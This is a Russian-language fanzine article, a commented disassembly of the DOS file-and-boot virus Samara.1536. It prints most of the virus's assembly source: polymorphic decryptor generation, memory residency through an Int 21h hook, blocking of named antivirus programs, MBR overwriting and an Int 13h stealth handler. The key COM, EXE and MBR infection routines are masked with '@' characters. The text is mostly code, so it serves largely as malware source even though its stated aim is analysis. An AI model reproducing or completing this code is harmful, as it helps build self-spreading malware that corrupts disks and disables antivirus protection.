ZF

                            Анализ вируса Samara
                                   by CrkV

; От редактора-составителя:
; У этого вируса забавная судьба. Всю 1-ю половину 1998 г. А. Гостев
; искал вирус для очередного этапа конкурса антивирусных программ,
; проводившегося в 1997-98 гг. в конференции relcom.comp.virus.
; К потенциальному объекту  издевательств предъявлялись требования:
; новый, несложный, файлово-загрузочный, полиморфный. Был кинут клич
; по Релкому и Интернету... но тщетно. Вири присылались либо битые,
; либо давно и хорошо известные. Дошло до того, что я напечатал и
; повесил на стенке в Самарском Аэрокосмическом Универе объявление
; с просьбой поискать. И буквально через пару недель Админу именно
; из Самары прислали subj (он, хитрюга, вычислил посылальщика по
; заголовку мыла J.
; Но конкретный автор до сих пор неизвестен. В дикой природе (в Самаре)
; вируса не было и нет. Я приблизительно знаю профессиональный уровень
; тех, кто мог бы написать subj и заявляю: это не они... J Может,
; вирус вытянули откуда-нибудь из Интернета, и город Самара прославлен
; напрасно? J Авторы (-ы), откликнитесь !
;
; P.S. Но вот CrkV прислал настолько подробно откомментированный текст,
; что поневоле возникают разные мысли... J))
;
; P.P.S. Принцип журнала ЗФ по-прежнему соблюдается: наиболее опасные
; фрагменты текста по согласию с CrkV заполнены символом '@'.
;                                                               DrMad
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;        Позволю представить на суд публики конкурсный вирь Samara.1536.
;К сожалению материалы для конкурса я не получил, хотя свое желание принять
;участие, я изъявлял.
;
;Вирус Samara.1536 (дизассемблирован 20.12.1998 (c) by CrkV)
;Не подумайте что его написал я, посмотрев на названия меток, данных
;и подпрогпрограмм, просто я люблю порядок J))) Я не удивлюсь, если
;мой текст вируса будет полнее и нагляднее авторского.
;                                                                CrkV
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.186
.model tiny
.code
        Org     100h
Samara:
;       jmp     $ + 1Bh
        db      0E9h,2Dh,00h,90h,01h,0CDh,21h,0C3h
        db      'This file infected by virus SAMARA.1536$'

;Начало вирусного кода. Первая полиморфная часть отвечает за расшифроку
;остального вирусного кода.

EntryPoint:

        db      3Eh,3Eh
        Xor     Byte Ptr Ds:[730h],98h
        Inc     Word Ptr Ds:[134h]
        db      26h,26h
        Cmp     Word Ptr Ds:[134h],730h
        db      3Eh,26h,3Eh,26h,26h,3Eh

Adr_Jxx EQU $ - Offset EntryPoint

        Jnz     EntryPoint

Size1p  EQU $ - Offset EntryPoint

;основной код вируса

        Mov     Bp,Offset EntryPoint - 100h
SizePrg = Word Ptr $ - 2 - Offset EntryPoint

        PushA
        Push    Ds Es
        Mov     Ah,99h
        Int     21h
        Cmp     Ah,66h                  ;резидент установлен ?
        Jnz     @Not_Installed
        Jmp     @All_Installed

@Not_Installed:
        Push    Es
        Mov     Ax,3521h
        Int     21h                     ;дать адрес Int 21h
        Mov     Cs:[Bp+Ofs21h],Bx
        Mov     Cs:[Bp+Seg21h],Es
        Pop     Es

@Get_Memory:

;--------- Memory Control Block structure --------------
MCB             struc
MCB_sig         db      ?               ; 'Z' or 'M'
MCB_owner       dw      ?               ; attribute of owner
MCB_size        dw      ?               ; size of MCB block
MCB_name        db      8 dup(?)        ; file name of owner
MCB             ends
;-------------------------------------------------------

        Mov     Ah,48h
        Mov     Bx,102h                 ;?? (можно и меньше)
        Int     21h                     ;запросить блок памяти
        Jnc     @Alloc_Mem
        Push    Es			;отсутствует блок нужного размера
        Mov     Ax,Es			;Ax - PSP
        Dec     Ax
        Mov     Es,Ax                   ;MCB блок (предшествует PSP)
        Mov     Bx,Es:[03h]             ;размер блока
        Sub     Bx,104h                 ;?? (можно было и 103h)
        Pop     Es
        Mov     Ah,4Ah
        Int     21h                     ;уменьшаем размер текущего блока
        Jmp     @Get_Memory

@Alloc_Mem:
        Dec     Ax
        Mov     Es,Ax                   ;MCB полученного блока
        Mov     Word Ptr Es:[01h],08h   ;объявляем себя системным блоком
        Inc     Ax
        Mov     Es,Ax
        Push    Ax                      ;признак зараженной MBR
        Mov     Byte Ptr Cs:[NewMBR+Bp+103h],00h
        Mov     Byte Ptr Cs:[NewMBR+Bp+104h],80h

;эффективнее было бы загружать сразу слово
;??	Mov     Word Ptr Cs:[NewMBR+Bp+103h],8000h

        Mov     Cx,VirLenght
        Push    Cs
        Pop     Ds
        Sub     Di,Di			;Di=0
        Lea     Si,[Bp+100h]		;Si- начало вирусного кода
        Cld
        Rep     MovSB                   ;копируем вирус в память
        Pop     Ds
        Mov     Ax,2521h
        Mov     Dx,Offset New21h	;устанавливаем свой обработчик
        Int     21h			;вектора 21h (функции DOS)

;далее следует часть, инфицирующая MBR

        Mov     Ah,13h			;получить Int 13h (Ds:Dx)
        Int     2Fh			;(предыдущий вызов при загр. сист.)
        Mov     Ax,2566h		;устанавливаем вектор 66h
        Int     21h			;на обработчик Int 13h
        Mov     Ah,13h
        Int     2Fh                     ;восстановить DS:DX и ES:BX
        Mov     Ax,0201h                ;читаем 1-й сектор
        Mov     Cx,01h
        Mov     Bx,VirLenght            ;Es:Bx - адрес буфера
        Call    Int13h			;(следует за вирусным кодом)
        Mov     Cx,40h                  ;сохраняем часть оригинальной MBR
        Mov     Si,VirLenght + 1BEh     ;(таблицу разделов диска) в теле
        Mov     Di,VirLenght + 1BEh - 200h;вируса
        Repe    MovSB                   ;Ds:Si - > Es:Di
        Mov     Ax,0303h                ;записываем тело вируса (Es:Bx)
        Mov     Cx,02h                  ;в 3 сектора, следующие за MBR (2)
        Sub     Bx,Bx
        Call    Int13h
        Mov     Ax,0301h                ;записываем MBR из тела вируса
        Mov     Cx,01h
        Mov     Bx,400h
        Call    Int13h

@All_Installed:
        Cmp     Byte Ptr Cs:[Bp+SaveBuf],'M'	;EXE - файл ? 'MZ'
        Je      @Exit_Exe
        Cmp     Byte Ptr Cs:[Bp+SaveBuf],'Z'	;'ZM'
        Je      @Exit_Exe
        Mov     Ax,Cs:[Bp+SaveBuf]      ;восстанавливаем первые 4 байта
        Mov     Cs:[100h],Ax		;COM - программы
        Mov     Ax,Cs:[Bp+SaveBuf+2]
        Mov     Cs:[102h],Ax
        Pop     Es Ds
        PopA
        Push    100h                    ;уходим на начало файла
        Ret

@Exit_Exe:
        Pop     Es Ds
        Mov     Ax,Es			;PSP
        Add     Ax,10h
        Add     Cs:[SegExe+Bp+100h],Ax	;корректируем адрес перехода
        PopA
        Jmp     $ + 2                   ;сбрасываем очередь команд

        db      0EAh                    ;Jmp Far Seg:Ofs

OfsExe  = Word Ptr $ - Offset EntryPoint
        dw      0000h
SegExe  = Word Ptr $ - Offset EntryPoint
        dw      2071h

;-------------- обработчик Int 24h ---------------------

New24h  EQU     $ - Offset EntryPoint

        Mov     Al,03h			;(F)ail
        IRet

;-------------- обработчик Int 21h ---------------------

New21h  EQU     $ - Offset EntryPoint

        PushF
        PushA
        Cmp     Ah,99h			;проверка резидента ?
        Jnz     @Not_Check
        Call    @Check
@Not_Check:
        Cmp     Ax,4B00h		;а может кто-то хочет программу
        Jnz     @Not_Exec		;запустить ?
        Call    Exec
@Not_Exec:
        PopA
        PopF

        db      0EAh                    ;Jmp Far Seg:Ofs

Ofs21h  = Word Ptr $ - Offset EntryPoint + 100h
        dw      0FB2h
Seg21h  = Word Ptr $ - Offset EntryPoint + 100h
        dw      0C9h

@Check: Pop     Ax
        PopA
        PopF
        Mov     Ah,66h			;- Да я уже давно в памяти !!!
        Iret

@Antivir_Exec:
        Pop     Dx
        Pop     Ds
        Jmp     @Check			;не запускаем антивирусы

;-------------------------------------------------------
Int13h  Proc
        Mov     Dx,80h                  ;первый жесткий диск
        Int     66h                     ;Int 13h
        Ret
Int13h  EndP
;-------------------------------------------------------
WriteF  Proc
;записывает данные в файл Ds:Dx - буфер, Cx - размер
        Mov     Ah,40h
        Int     21h
        Ret
WriteF  EndP
;-------------------------------------------------------
WriteVr Proc
;шифрует вирус и дописывает его к концу файла
        Call    Shifr
        Mov     Dx,VirLenght
        Mov     Cx,VirLenght
        Call    WriteF
        Ret
WriteVr EndP
;-------------------------------------------------------
SetFP   Proc
;устанавливает указатель записи в файл
        Mov     Ah,42h
        Sub     Cx,Cx
        Sub     Dx,Dx
        Int     21h
        Ret
SetFP   Endp
;-------------------------------------------------------
SaveSz  Proc
;Сохраняет размер файла в пременной Save2w (Size + PSP)
;Si = SaveBuf + 100

        Mov     [Si+Offset Save2w - SaveBuf + 100h],Ax
        Add     [Si+Offset Save2w - SaveBuf + 100h],100h
        Ret
SaveSz  EndP
;-------------------------------------------------------
Exec    Proc
;блокирует выполнение антивирусов, если может то заражает
        Push    Ds
        Push    Dx
        Mov     Bx,Dx
@Next_Byte:
        Cmp     Byte Ptr [Bx],00h       ;End Name
        Jz      @End_Name
        Inc     Bx
        Jmp     @Next_Byte

@End_Name:

;здесь проверяется 5 и 6 байт (с конца) имени запускаемой программы.
;Эффективнее было бы использование команды ScaSW.

        Mov     Ax,[Bx-06h]
        Cmp     Ax,444Eh                ;'ND' - COMMA~ND~.COM
        Je      @Exec_Command
        Cmp     Ax,4554h                ;'TE' - AVPLI~TE~.EXE
        Je      @Antivir_Exec
        Cmp     Ax,5453h                ;'ST' - AIDSTE~ST~.EXE
        Je      @Antivir_Exec
        Cmp     Ax,5056h                ;'VP' - A~VP~.EXE
        Je      @Antivir_Exec
        Cmp     Ax,4245h                ;'EB' - DRW~EB~.EXE
        Je      @Antivir_Exec
        Cmp     Ax,4E41h                ;'AN' - MSC~AN~.EXE
        Je      @Antivir_Exec

        Push    Es
        Mov     Ax,3524h
        Int     21h                     ;дать адрес обработчика кр.ош. Int 24h
        Mov     Si,Bx
        Mov     Di,Es
        Pop     Es
        Push    Ds Dx
        Mov     Ax,2524h
        Push    Cs
        Pop     Ds
        Mov     Dx,Offset New24h
        Int     21h                     ;устанавливаем вектор 24h
        Pop     Dx Ds
        Mov     Ax,4301h
        Sub     Cx,Cx
        Int     21h                     ;очищаем атрибуты файла
        PushF
        Push    Ds Dx
        Mov     Ax,2524h
        Mov     Ds,Di
        Mov     Dx,Si
        Int     21h                     ;восстанавливаем Int 24h
        Pop     Dx Ds
        PopF
        Jnc     @Ok

@Exec_Command:
        Jmp     @Exit_Infect2
@Ok:    Mov     Ax,3D02h
        Int     21h                     ;открываем файл в режиме (чт./зп.)
        Mov     Bx,Ax                   ;Ax - Handle файла
        Push    Cs
        Pop     Ds
        Mov     Si,Offset SaveBuf - 100h
        Mov     Ah,3Fh
        Mov     Cx,18h
        Mov     Dx,Si
        Int     21h                     ;читаем первые 24 байта файла
        Cmp     Byte Ptr [Si],'M'	;проверяем формат файла
        Je      @Exe_Format
        Cmp     Byte Ptr [Si],'Z'
        Je      @Exe_Format
        Cmp     Byte Ptr [Si+3],90h     ;возможно инфицирован ?
        Jne     @Infected_Com		;(четвертый байт 90h)
        Jmp     @Exit_Infect

@Infected_Com:
        @@@     @@,@@@			;устанавливаем указатель файла в конец
        @@@@    @@@@@			;получаем в Dx:Ax - размер файла
        @@@     @@,@@@@@@ - @@@@@@@@@
        @@@     @@@@@@@@
        jmp     @Exit_Infect		;файл большой, трогать не будем

@Size_Ok:

        @@@     @@:@@@@@@@,@@
        @@@@    @@@@@@
        @@@     @@,@@@                  ;вычисляем смещение вируса в файле
        @@@     @@:@@@@@@@,@@		;(адрес для перехода)
        @@@@    @@@@@@@
        @@@     @@,@@
        @@@@    @@@@@                   ;устанавливаем указатель на начало
        @@@     @@,@@@@@@ @@@@@@@
        @@@     @@,@
        @@@@    @@@@@@                  ;модифицируем начало файла
        Jmp     @Exit_Infect

@Exe_Format:
;-------------------------------------------------------
Exe_Header      STRUC
EH_Signature    dw ?                    ; Set to 'MZ' or 'ZM' for .exe files
EH_Modulo       dw ?                    ; remainder of file size/512
EH_Size         dw ?                    ; file size/512
EH_Reloc        dw ?                    ; Number of relocation items
EH_Size_Header  dw ?                    ; Size of header in paragraphs
EH_Min_Mem      dw ?                    ; Minimum paragraphs needed by file
EH_Max_Mem      dw ?                    ; Maximum paragraphs needed by file
EH_SS           dw ?                    ; Stack segment displacement
EH_SP           dw ?                    ; Stack Pointer
EH_Checksum     dw ?                    ; Checksum, not used
EH_IP           dw ?                    ; Instruction Pointer of Exe file
EH_CS           dw ?                    ; Code segment displacement of .exe
eh_1st_reloc    dw      ?               ; first relocation item
eh_ovl          dw      ?               ; overlay number
Exe_Header      ENDS
;-------------------------------------------------------
        cmp     Byte Ptr [Si+12h],66h	;проверяем признак заражения EXE
        Jnz     @Ok_Exe			;(в поле Checksum - 66h)
        Jmp     @Exit_Infect

@Ok_Exe:
        @@@     @@,@@@@@@@@		;запоминаем смещение для Cs
        @@@     @@@@@@@@@,@@
        @@@     @@,@@@@@@@@		;запоминаем значение Ip
        @@@     @@@@@@@@@,@@
        @@@     @@,@@@                  ;устанавливаем указатель на конец файла
        @@@@    @@@@@			;получаем в Dx:Ax размер файла
        @@      @@,@@                   ;больше 65535 байт ?
        @@      @@@@@@@@@		;не знаю почему, но автор не захотел
        Jmp     @Exit_Infect		;заражать большие EXE-файлы

@Size_Ok2:
        @@@     @@,@@@@@@@@@@@@@@@@@@
        @@      @@@@@@@@@
        Jmp     @Exit_Infect		;файл большой, трогать не будем

@Size_Ok3:
        @@@@    @@@@@@
        @@@     @@,@@@@@@@@
        @@@     @@,                    ;размер заголовка
        @@@     @@@@@@@@,@@             ;вычисляем размер кода программы
        @@@@    @@ @@
        @@@     @@,@@@
        @@@     @@                      ;Ax - размер файла в параграфах
        @@@     @@,@@@@@@@@
        @@@     @@@@@@@@,@@             ;Адрес перехода на вирус (Cs:Ip)
        @@@     @@@@@@@@,@@
        @@@     @@,@@@@
        @@@     @@:@@@@@@@,@@
        @@@     @@ @@
        @@@     @@,@@@@
        @@@     @@                      ;Ax - размер файла в 512 байтных кусках
        @@      @@,@@
        @@      @@@@@@_@@@
        @@@     @@
@Equal_512:
        @@@     @@,@@@@@@@@             ;проверяем соответствие размера файла
        @@      @@@@@@@@@@@@@		;с данными из заголовка
        @@@     @@@@@@@@@@@@		;(т.е. возможное присутствие оверлеев)

@Size_Not_Ovl:
        @@@     @@,@@@@@@@@
        @@      @@@@@@@@@@@@@@
        @@@     @@@@@@@@@@@@

@Size_Not_Ovl2:
        @@@@    @@@@@@@
        @@@     @@,@@@                  ;устанавливаем указатель на конец файла
        @@@@    @@@@@			;получаем в Dx:Ax - размер файла
        @@@     @@,@@@@			;вычисляем размер в 512 параграфах
        @@@     @@
        @@      @@,@@
        @@      @@@@@@@@@@@@
        @@@     @@

@Equal_512_2:
        @@@     @@@@@@@@,@@             ;размер проги в заголовке
        @@@     @@@@@@@@,@@
        @@@     @@,@@                   ;устанавливаем указатель на начало файла
        @@@@    @@@@@
        @@@     @@@@@@@@@@@@@@@@@,@@@   ;метка вируса
        @@@     @@,@@@
        @@@     @@,@@
        @@@@    @@@@@@                  ;записываем новый заголовок

@Exit_Infect:
        Mov     Ah,3Eh
        Int     21h                     ;закрываем файл
@Exit_Infect2:
        Pop     Dx Ds
        Ret
Exec    EndP
;-------------------------------------------------------

First4b EQU     $ - Offset EntryPoint
        db      0E9h                    ;команда перехода на начало вируса
SaveOfs = Word Ptr $ - Offset EntryPoint
        dw      2Dh
        db      90h                     ;метка вируса
;-------------------------------------------------------
Shifr   Proc

        PushA
        Push    Es Ds Cs
        Pop     Ds
        Push    Cs
        Pop     Es
        Mov     Ax,VirLenght
        Push    Ax Ax Ax
        Add     Ax,Ds:Save2w		;адрес основного кода вируса
        Mov     Ds:EndSA,Ax
        Mov     Si,00h
        Pop     Di
        Mov     Cx,VirLenght
        Cld				;копируем в память вторую копию
        Repe    MovSB			;вируса, сразу за первой
        Mov     Ah,2Ch
        Int     21h                     ;получить текущее время (Random)
        Mov     Ds:RandPar,Dx		;Dh - секунды, Dl - 1/100с
        Pop     Di
        Mov     Cx,Size1P		;заполняем первую часть префиксами

@Loop_Random:
        Rol     Dx,1			;проверяем 1 в старшем разряде
        Jc      @Es_Random
        Mov     Al,3Eh                  ;Ds:
        Jmp     @Next_Random

@Es_Random:
        Mov     Al,26h                  ;Es:

@Next_Random:
        StoSB
        Loop    @Loop_Random

        Pop     Di
        Call    Random3
        Push    Di
        Mov     Bp,3			;получить случайное число (0,1,2)
        Call    Random
        Cmp     Ax,1			;выбираем команду, которую будем
        Jc      @Ran_Xor		;использовать для шифрования
        Jz      @Ran_Add
        Mov     Si,Offset C_Sub
        Mov     Byte Ptr Ds:C_Gener,00h ;Sub
        Jmp     @Ran_Cont

@Ran_Add:
        Mov     Si,Offset C_Add
        Mov     Byte Ptr Ds:C_Gener,28h ;Add
        Jmp     @Ran_Cont

@Ran_Xor:
        Mov     Si,Offset C_Xor
        Mov     Byte Ptr Ds:C_Gener,30h ;Xor

@Ran_Cont:
        Mov     Cx,5			;Si - адрес, выбранной команды
        Rep     MovSB
        Mov     Ax,Ds:RandPar		;устанавливаем значение первого
        Mov     [Di-01h],Al		;байта для шифрования
        Mov     Bp,Ds:Save2w		;адрес в памяти с которого
        Add     [Di-03h],Bp		;начнется шифрование основного кода
        Call    ShifrVr
        Call    Random3			;аналогично предыдущей части,
        Mov     Bp,3			;выбираем команду для изменения
        Call    Random			;адреса шифруемого байта из:
        Cmp     Ax,1			
        Jb      @Ran_Inc
        Je      @Ran_Add1
        Mov     Si,Offset C_Sub1	;Sub (- 1)
        Mov     Cx,6
        Mov     Bx,0FFFCh
        Jmp     @Ran_Cont2

@Ran_Add1:
        Mov     Si,Offset C_Add1	;Add  1	
        Mov     Cx,6
        Mov     Bx,0FFFCh
        Jmp     @Ran_Cont2

@Ran_Inc:
        Mov     Si,Offset C_Inc		;Inc
        Mov     Cx,4
        Mov     Bx,0FFFEh

@Ran_Cont2:
        Repe    MovSB			;Cx - длина команды, Si - адрес
        Pop     Bp
        Add     Bp,0FA02h               ;вычисляем адрес, на котором
        Add     Bp,Ds:Save2W		;закончится шифрование
        Mov     [Bx+Di],Bp
        Push    Bp
        Call    Random3
        Mov     Si,Offset C_Cmp
        Mov     Cx,6
        Rep     MovSB
        Pop     Bp			;записываем этот адрес
        Mov     [Di-04h],Bp		;в команду Cmp
        Mov     Di,VirLenght + Offset Adr_Jxx
        Mov     Bp,2
        Call    Random			;выбираем команду для продолжения
        Or      Ax,Ax			;цикла расшифровки:
        Jz      @Ran_Jnz
        Mov     Si,Offset C_Jc		;Jc
        Jmp     @Ran_Cont3

@Ran_Jnz:
        Mov     Si,Offset C_Jnz		;Jnz

@Ran_Cont3:
        Mov     Cx,2
        Repe    MovSB
        Cmp     Byte Ptr Ds:[VirLenght],80h	;??
        Je      @Met
        Add     [Di-1],Al
@Met:   Pop     Ds Es
        PopA
        Ret
Shifr   EndP
;-------------------------------------------------------
ShifrVr Proc
;подпрограмма шифрации вирусного кода
        Mov     Si,VirLenght + Size1p
        Mov     Cx,VirLenght

C_Gener = Byte Ptr $ - Offset EntryPoint
@LoopSV:Sub     [Si],Al                 ;Xor,Add

        Inc     Si
        Loop    @LoopSV
        Ret
ShifrVr EndP
;-------------------------------------------------------
Random3 Proc
;генерирует случайное число [0;2], результат в Ax
        Mov     Bp,3
        Call    Random
        Add     Di,Ax
        Ret
Random3 Endp
;-------------------------------------------------------
Random  Proc
;генерирует случайное число [0;Bp-1], результат в Ax
        Mov     Bx,Offset RandPar
        Mov     Ax,[Bx]
        Mov     Cx,25h
        Mul     Cx
        Mov     [Bx],Ax
        Sub     Dx,Dx
        Div     Bp
        Xchg    Ax,Dx
        Ret
Random  Endp
;-------------------------------------------------------
C_Xor   EQU $ - Offset EntryPoint
        Xor     Byte Ptr Ds:[1Bh],00h

C_Add   EQU $ - Offset EntryPoint
        Add     Byte Ptr Ds:[1Bh],00h

C_Sub   EQU $ - Offset EntryPoint
        Sub     Byte Ptr Ds:[1Bh],00h

C_Inc   EQU $ - Offset EntryPoint
        Inc     Word Ptr Ds:[0000h]

C_Add1  EQU $ - Offset EntryPoint
        Add     Word Ptr Ds:[0000h],1234h

        Org     $ - 2                   ;генерируем длинную команду
        dw      1                       ;для совместимости кода J)

C_Sub1  EQU $ - Offset EntryPoint
        Sub     Word Ptr Ds:[0000h],1234h

        Org     $ - 2                   ;генерируем длинную команду
        dw      - 1                     ;для совместимости кода J)

C_Cmp   EQU $ - Offset EntryPoint
        Cmp     Word Ptr Ds:[0000h],730h
EndSA   = Word Ptr $ - 2 - Offset EntryPoint

C_Jc    EQU $ - Offset EntryPoint
        db      72h,0E5h

C_Jnz   EQU $ - Offset EntryPoint
        db      75h,0E5h

SaveBuf EQU $ - Offset EntryPoint + 100h
        db      18h     Dup     (?)

RandPar = Word Ptr $ - Offset EntryPoint;3FBh
        dw      ?
Save2w  = Word Ptr $ - Offset EntryPoint;3FDh
        dw      ?
        db      90h                     ;Align


;здесь находится сектор MBR (512 байт)

;-------------------------------------------------------
Boot_Sector             STRUC
bs_Jump                 db 3 dup(?)
bs_Oem_Name             db 8 dup(?)
bs_Bytes_Per_Sector     dw ?
bs_Sectors_Per_Cluster  db ?
bs_Reserved_Sectors     dw ?
bs_FATs                 db ?             ; Number of FATs
bs_Root_Dir_Entries     dw ?             ; Max number of root dir entries
bs_Sectors              dw ?             ; number of sectors; small
bs_Media                db ?             ; Media descriptor byte
bs_Sectors_Per_FAT      dw ?
bs_Sectors_Per_Track    dw ?
bs_Heads                dw ?             ; number of heads
bs_Hidden_Sectors       dd ?
bs_Huge_Sectors         dd ?             ; number of sectors; large
bs_Drive_Number         db ?
bs_Reserved             db ?
bs_Boot_Signature       db ?
bs_Volume_ID            dd ?
bs_Volume_Label         db 11 dup(?)
bs_File_System_Type     db 8 dup(?)
Boot_Sector             ENDS
;-------------------------------------------------------

NewMBR  EQU $ - Offset EntryPoint
VirMBR  EQU     $

        Jmp     Short @Start_Boot
        Nop
        db      00h,80h,'WIN4.0'        ;OEM имя
        dw      200h                    ;байтов в секторе
        db      001h			;кол-во секторов в кластере
        dw      001h                    ;зарезервированных секторов
        db      002h			;кол-во FAT
        dw      0E0h                    ;макс. кол-во элементов в корневом кат.
        dw      960h
        db      0F9h
        dw      007h
        dw      00Fh
        dd      002h
        dw      000h

@Start_Boot:
        Cli				;запрещаем прерывания
        Sub     Ax,Ax			;Ax=0
        Mov     Ds,Ax
        Mov     Ss,Ax
        Mov     Sp,7C00h                ;уст. ук. стека перед загрузчиком
        Mov     Si,Sp
        Mov     Ax,Ds:[13h*4]           ;получаем Int 13h
        Mov     Ds:[7C00h+Int_13h_Ofs],Ax
        Mov     Ax,Ds:[13h*4][2]
        Mov     Ds:[7C00h+Int_13h_Seg],Ax
        Mov     Ax,Ds:[413h]            ;уменьшаем размер памяти
        Sub     Ax,4			;на 4 кб.
        Mov     Ds:[413h],Ax		;?? (Sub Word Ptr Ds:[413h],4)

        Mov     Cl,06h			;вычисляем сегментый адрес кода
        Shl     Ax,Cl
        Mov     Es,Ax
        Mov     Cx,100h
        Sub     Di,Di
        Cld
        PushA
        Repe    MovSW			;копируем 512 байт в Es:0
        PopA
        Mov     Di,VirLenght		;копируем 2-ой раз
        Repe    MovSW			;после тела
        Sti
        Push    Ax
        Push    1234h

        Org     $ - 2                   ;генерируем длинную команду
        dw      Offset @Adr_MBR_Mem - VirMBR    ;для совместимости кода J)
        Retf				;переходим на SegVir:AdrMBR

@Adr_MBR_Mem:
;дальше идут такие навороты J), поэтому, если я не понял, что
;тут имелось в виду, "звиняйте хлопцы".

        Cmp     Byte Ptr Cs:[0004h],80h ;MBR содержит признак заражения ?

        Je      @MBR_VIR
        Mov     Ax,0202h		;считываем 2 сектора Es:200h
        Mov     Bx,200h
        Sub     Dx,Dx
        Call	GetSect
        Call    Int13h3
        Push    Ds			
        Pop     Es			;Es=0
        Mov     Ax,0201h		;считываем MBR
        Mov     Bx,Sp			;по адресу 0:7C00h
        Call    SetHD
        Call    Int13h3
        Cmp     Byte Ptr Ds:[7C01h],33h ;??
        Jnz     @Exit_Vir

        @@@     @@@@@@@@@@@@@@@@@@@,@@@ ;в MBR записываем признак заражения
        @@@@    @@
        @@@     @@
        @@@     @@,@@@@@@@@@@@@@@	;сохраняем таблицу разделов диска	
        @@@     @@,@@@@@@@@		;(Ds=0)
        @@@     @@,@@@
        @@@
        @@@@    @@@@@
        @@@     @@,@@@@@		;записываем себя в 3 сектора
        @@@     @@,@@			;после MBR
        @@@@    @@@@@
        @@@@    @@@@@@@
        @@@     @@,@@@@@		;записываем еще раз MBR
        @@@     @@,@@@			;в 4 сектор
        @@@@    @@@@@@@
        Jmp     Short @All_Read
        Nop

@MBR_VIR:
        Mov     Ax,0203h		;считываем 3 сектора
        Mov     Bx,0200h		;по адресу SegVir:200h
        Call    SetHD
        Inc     Cx
        Call    Int13h3

@All_Read:
        Push    Ds
        Pop     Es
        Mov     Ax,0201h		;считываем MBR
        Mov     Bx,07C00h		;по адресу 0:7C00h
        Call    SetHD
        Inc     Dh
        Call    Int13h3
        Mov     Ds:[13h*4],New13h	;устанавливаем Int 13h
        Mov     Ds:[13h*4][2],Cs

@Exit_Vir:
	db      0EAh                    ;Jmp Far Seg:Ofs
        dw      7C00h			;уходим по адресу 0:7C00h
        dw	0000h

;-------------------------------------------------------
GetSect	Proc
;проверяет тип носителя и возвращает в Cx номер сектора
        Mov     Cl,Cs:[15h]		;дескриптор носителя
        Cmp     Cl,0F9h
        Mov     Cx,04h
        Je      @Sect_N6
        Ja      @Sect_N4
        Inc     Cx			;в Cx вернем 8
        Inc     Cx
@Sect_N6:
        Inc     Cx
        Inc     Cx
@Sect_N4:
        Ret
GetSect	EndP
;-------------------------------------------------------
SetHD	Proc
	Mov     Cx,01h			;первый сектор
        Mov     Dx,80h			;HDD
        Ret
SetHD	EndP
;-------------------------------------------------------
Int13h2	Proc
;вызов сохранненого Int 13h
        PushF
        Call    DWord Ptr Cs:[Int_13h_Ofs]
        Ret
Int13h2	EndP
;-------------------------------------------------------

Int13h3	Proc
;выполняем Int 13h, при ошибке повторяем вызов 3 раза
        Push    Bp
        Mov     Bp,03h			;счетчик повторений при ошибке
        Push    Ax

@Povtor_Int13h:
	Pop     Ax
        Push    Ax
        Call	Int13h2			;Int 13h
        Jnc     @Ok_Int13h		;проверяем флаг ошибки
        Sub     Ax,Ax			;сброс дисковой подсистемы
        Call	Int13h2
        Dec     Bp			
        Jnz     @Povtor_Int13h		;пытаемся повторить операцию
        Stc				;устанавливаем флаг ошибки

@Ok_Int13h:
        Pop     Ax
        Pop     Bp
        Ret
Int13h3	EndP

;-------------- обработчик Int 13h ---------------------

New13h  EQU     $ - VirMBR
        Cmp     Dx,01h
        Ja      @Prov_Int21h
        Cmp     Ah,02h			;функция считывания секторов ?
        Jne	@Orig_Int13h
        Cmp     Cx,01h			;1-й сектор (MBR)?
        Jne	@Orig_Int13h
        Call	Int13h2			;пытаемся считать
        Jc      @Exit_Int13h
        Cmp     Byte Ptr Es:[5D8h+Bx],0EAh	;??
        Je      @Exit_Int13h
        PushA
        Mov     Si,5
        Mov     Cx,1Bh
@Loop:
        Mov     Al,Es:[Bx+05h]		;копируем в память считанный сектор
        Mov     Cs:[Si],Al		;(1Bh байт, начиная с 5, игнорируем
        Inc     Si			;переход и 2 байта OEM-имени)
        Inc     Bx
        Loop    @Loop

        @@@     @@:@@@@@,@@		;Cl-0 (loop) метка вируса
        @@@@    @@ @@
        @@@     @@
        @@@     @@,@@:@@@@@		;сохраняем первые 2 байта OEM-имени
        @@@     @@:@@@@@,@@
        @@@     @@,@@@@@		;записываем MBR
        @@@     @@,@@
        @@@     @@
        @@@@    @@@@@@@
        @@@     @@:@@@@@,@@		;восстанавливаем
        @@@     @@,@@@@@		;записываем следующие 2 сектора
        @@@     @@,@@@@
        @@@@	@@@@@@@
        @@@@    @@@@@@@
        @@@				;очищаем флаг Carry (CF=0)
        @@@     @@
        PopA

@Exit_Int13h:
        RetF	02h			;оставляем флаги

@Orig_Int13h:

	db      0EAh                    ;Jmp Far Seg:Ofs

Int_13h_Ofs	EQU $ - VirMBR
	dw      0B494h
Int_13h_Seg	EQU $ - VirMBR
        dw      0F000h


@Prov_Int21h:
        Call	Int13h2			;вызываем Int 13h
        PushF
        Jc	@Exit_Int13h2		;ошибка
	Cmp     Byte Ptr Es:[Bx],40h
        Jne	@Exit_Int13h2
        Cmp     Byte Ptr Cs:[03h],00h	;Int 21h перехватили ?
        Jne     @Exit_Int13h2
        Mov     Byte Ptr Cs:[03h],01h	;устанавливаем признак Int 21h
        Push    Ds
        PushA
        Sub     Ax,Ax
        Mov     Ds,Ax			;Ds=0
        Mov     Bx,31Eh			;?? копируем адрес Int 21h
        Mov     Si,21h*4		
        Mov     Ax,[Si]
        Mov     Cs:[Bx],Ax
        Mov     Ax,[Si+02h]
        Mov     Cs:[Bx+02h],Ax
        Mov     Word Ptr [Si],New21h	;устанавливаем Int 21h
        Mov     [Si+02h],Cs		
        Add     Word Ptr [Si+02h],20h	;корректируем сегмент на 512 байт
        PopA
        Pop     Ds

@Exit_Int13h2:
	PopF
        Jmp     @Exit_Int13h

;сохраняем часть оригинальной MBR (таблицу разделов диска)
OrigMBR 	EQU	$ - Offset EntryPoint
OrigMBR2 	EQU	$ - VirMBR

        db      40h     Dup (?),55h,0AAh

VirLenght       EQU	$ - Offset EntryPoint
        End     Samara


(C) NF, 1998-2004